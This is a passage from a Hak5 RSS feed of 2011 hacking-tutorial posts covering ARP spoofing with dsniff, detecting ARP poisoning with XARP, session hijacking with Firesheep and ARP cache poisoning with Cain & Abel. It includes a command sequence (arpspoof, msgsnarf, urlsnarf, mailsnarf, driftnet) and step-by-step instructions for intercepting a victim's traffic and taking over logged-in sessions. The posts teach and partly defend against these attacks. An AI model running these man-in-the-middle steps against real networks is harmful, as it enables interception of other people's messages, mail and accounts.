				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Farp-spoofing-with-dsniff&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>This segment with Darren he demos a couple of tools for us linux folks.</p>
<div style="clear:both;"></div>
<p><span id="more-3253"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/ArxUZnmS3NY?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=641" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/ArxUZnmS3NY?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=641" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Again the premise is all the same. We’ll be using command line tools to tell our victim we’re the router, and vise versa.</p>
<p>The tools we’ll be using are the dsniff suite and driftnet. If you don’t already have ‘em and you’re rocking Ubuntu it’s simply a matter of issuing sudo apt-get install driftnet dsniff</p>
<p>Before we get our attack started we’ll need to enable packet forwarding. This means we’ll allow the traffic of our targets to flow through our machine.</p>
<p><code></p>
<p>cat /proc/sys/net/ipv4/ip_forward<br />
echo 1 > /proc/sys/net/ipv4/ip_forward<br />
cat /proc/sys/net/ipv4/ip_forward</p>
<p>screen<br />
arpspoof -t 10.13.37.1 10.13.37.124<br />
arpspoof -t 10.13.37.1 10.13.37.124</p>
<p>msgsnarf -i eth0<br />
urlsnart -i eth0<br />
mailsnarf -i eth0</p>
<p>driftnet -i eth0</p>
<p>killall arpspoof</code></p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/arp-spoofing-with-dsniff/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>HakTip &#8211; XARP to Detecting ARP Cache Poison Attacks</title>
		<link>http://Hak5.org/hack/xarp-to-detecting-arp-cache-poison-attacks</link>
		<comments>http://Hak5.org/hack/xarp-to-detecting-arp-cache-poison-attacks#comments</comments>
		<pubDate>Thu, 07 Apr 2011 04:10:20 +0000</pubDate>
		<dc:creator>paul</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[arp cache]]></category>
		<category><![CDATA[ARP Cache Poison]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[haktip]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Man-in-the-Middle attack]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[xarp]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3245</guid>
		<description><![CDATA[
			
				
			
		
In this Haktip Darren shows how to detecting ARP Cache Poison Attacks in Windows and Linux using XARP



The basics of the Man in the middle attack are this:
Monkey-in-the-middle tells router he’s you.
Monkey-in-the-middle tells you he’s ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fxarp-to-detecting-arp-cache-poison-attacks"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fxarp-to-detecting-arp-cache-poison-attacks&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In this Haktip Darren shows how to detecting ARP Cache Poison Attacks in Windows and Linux using XARP</p>
<div style="clear:both;"></div>
<p><span id="more-3245"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/fgyPr0J9S-M?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=892" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/fgyPr0J9S-M?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=892" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>The basics of the Man in the middle attack are this:</p>
<p>Monkey-in-the-middle tells router he’s you.<br />
Monkey-in-the-middle tells you he’s the router.<br />
Monkey-in-the-middle likes mountain dew.<br />
This is achieved using ARP packets, which are how nodes identify themselves on IP networks.</p>
<p>Enter <a href="http://http://www.chrismc.de/development/xarp/index.html">XARP – an advanced ARP Spoof detection suite</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/xarp-to-detecting-arp-cache-poison-attacks/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HakTip &#8211; Session hijacking with Firesheep</title>
		<link>http://Hak5.org/hack/session-hijacking-with-firesheep</link>
		<comments>http://Hak5.org/hack/session-hijacking-with-firesheep#comments</comments>
		<pubDate>Thu, 31 Mar 2011 02:09:01 +0000</pubDate>
		<dc:creator>paul</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[cache poison]]></category>
		<category><![CDATA[cain and abel]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[firesheep]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[haktip]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[man in the middle]]></category>
		<category><![CDATA[Packet Sniff]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3173</guid>
		<description><![CDATA[
			
				
			
		
In this haktip Shannon shows us the setup and use of the cookie steeling tool Firesheep to hijack Darren&#8217;s twitter session.



Websites always make you login with a username and password, but when you’re on their ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fsession-hijacking-with-firesheep"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fsession-hijacking-with-firesheep&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In this haktip Shannon shows us the setup and use of the cookie steeling tool Firesheep to hijack Darren&#8217;s twitter session.</p>
<div style="clear:both;"></div>
<p><span id="more-3173"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/zZVUb5A0HRw?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=450" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/zZVUb5A0HRw?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=450" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Websites always make you login with a username and password, but when you’re on their page all cozy and logged in, you’re browsing insecurely on a regular old HTTP site. HTTP session hacking (called sidejacking) happens when an attacker gets the users cookie which you were transmitted when you first logged in, and they can use it to do anything you would normally do. The only way to really protect yourself from this is through SSL or HTTPS like what you see on your banking websites.</p>
<p><a href="http://codebutler.com/firesheep">Firesheep</a>, by Eric Butler, demonstrates how vunerable your login is. It’s a man in the middle attack firefox extension that anyone has the ability to use.</p>
<p>To use Firesheep, first make sure to download winpcap. Then download the browser extension and open it using firefox by dragging it into your list of extensions and add-ons. You may need to restart Firefox. Go to View–>Sidebar–>Firesheep and enable it. Now, simply click start capturing and you’ll be able to see the username and photo of anyone on your network that logs into one of the specific sites that Firesheep uses. Click on the name or photo of anyone on the list, and you are now logged in as them, with the ability to do whatever you want as them on that site. Scary huh? Luckily Twitter and Facebook have caught on to this and have enabled the ability to use HTTPS secure logins on their sites. So if you haven’t updated your settings, do it now!</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/session-hijacking-with-firesheep/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>HakTip &#8211; ARP Cache Poisoning Attacks on Windows</title>
		<link>http://Hak5.org/hack/arp-cache-poisoning-attacks-on-windows</link>
		<comments>http://Hak5.org/hack/arp-cache-poisoning-attacks-on-windows#comments</comments>
		<pubDate>Thu, 24 Mar 2011 01:59:56 +0000</pubDate>
		<dc:creator>paul</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[HakTip]]></category>
		<category><![CDATA[apr cache]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[cain and abel]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[haktip]]></category>
		<category><![CDATA[ip scan]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[packet capture]]></category>
		<category><![CDATA[Packet Sniff]]></category>
		<category><![CDATA[Poisoning attack]]></category>
		<category><![CDATA[port scan]]></category>
		<category><![CDATA[spoofing]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[windows scan]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3170</guid>
		<description><![CDATA[
			
				
			
		
Shannon shows us how to perform arp cache poisoning attacks with ease.



“We get asked a million times over if we’d demonstrate an ARP-Cache Poisoning Attack for Windows, and while we’ve covered this *WAY* back in ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Farp-cache-poisoning-attacks-on-windows"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Farp-cache-poisoning-attacks-on-windows&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Shannon shows us how to perform arp cache poisoning attacks with ease.</p>
<div style="clear:both;"></div>
<p><span id="more-3170"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/7YAhi0aikT8?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=1865" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/7YAhi0aikT8?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=1865" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>“We get asked a million times over if we’d demonstrate an ARP-Cache Poisoning Attack for Windows, and while we’ve covered this *WAY* back in Season 1, I figured it’s worth a refresher. Now, there are a million ways to do this in the command line with linux tools, but here in Windows we’ll be using a very simple tool called Cain &#038; Abel. Once you’ve downloaded and installed it from www.oxid.it go ahead and fire up the sniffer by flicking the chip icon in the top left. The first time you do this you’ll be asked to select your interface. You can get back to this screen anytime by clicking Configure. I’ve selected this interface here with my IP address since it’s my wireless network card. Now I can scan the network for potential targets. Go to the sniffer tab, right-click, and select Scan Mac Addresses. I’ll stick with the default “”All hosts in my subnet”&#8221; and click OK. Now that I have a list of machines on the network I can go over the the APR tab and start the actual ARP Cache Poisoning Attack. Click the blue plus icon on the toolbar to bring up the routing dialog. Here I’ll select 10.13.37.1 on the left — that’s the router — and 10.13.37.124 on the right — that’s Darren’s machine. Click OK and the route will be loaded. Now, begin the poisoning attack by clicking the radiation icon in the top left. Immediately our poisoning attack begins. Now sit back, relax, and wait for your target to do some browsing. Once enough traffic has gone through your’ll notice Full-routing below.</p>
<p>So, what does all of this mean?</p>
<p>ARP Cache Poisoning attacks basically mean a technique used to attack a wired or wireless connection. The attacker can sniff data and send a spoofed ARP message to the LAN. So when they send that spoof message, they receive data that was intended for the router or the computer in question. It’s a man in the middle attack. Neither machine knows I exist in the middle. They just think they’re sending data like usual.</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/arp-cache-poisoning-attacks-on-windows/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  hak5.org/category/hack/feed ) in 0.88268 seconds, on Feb 8th, 2012 at 4:45 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 8th, 2012 at 5:45 pm UTC -->
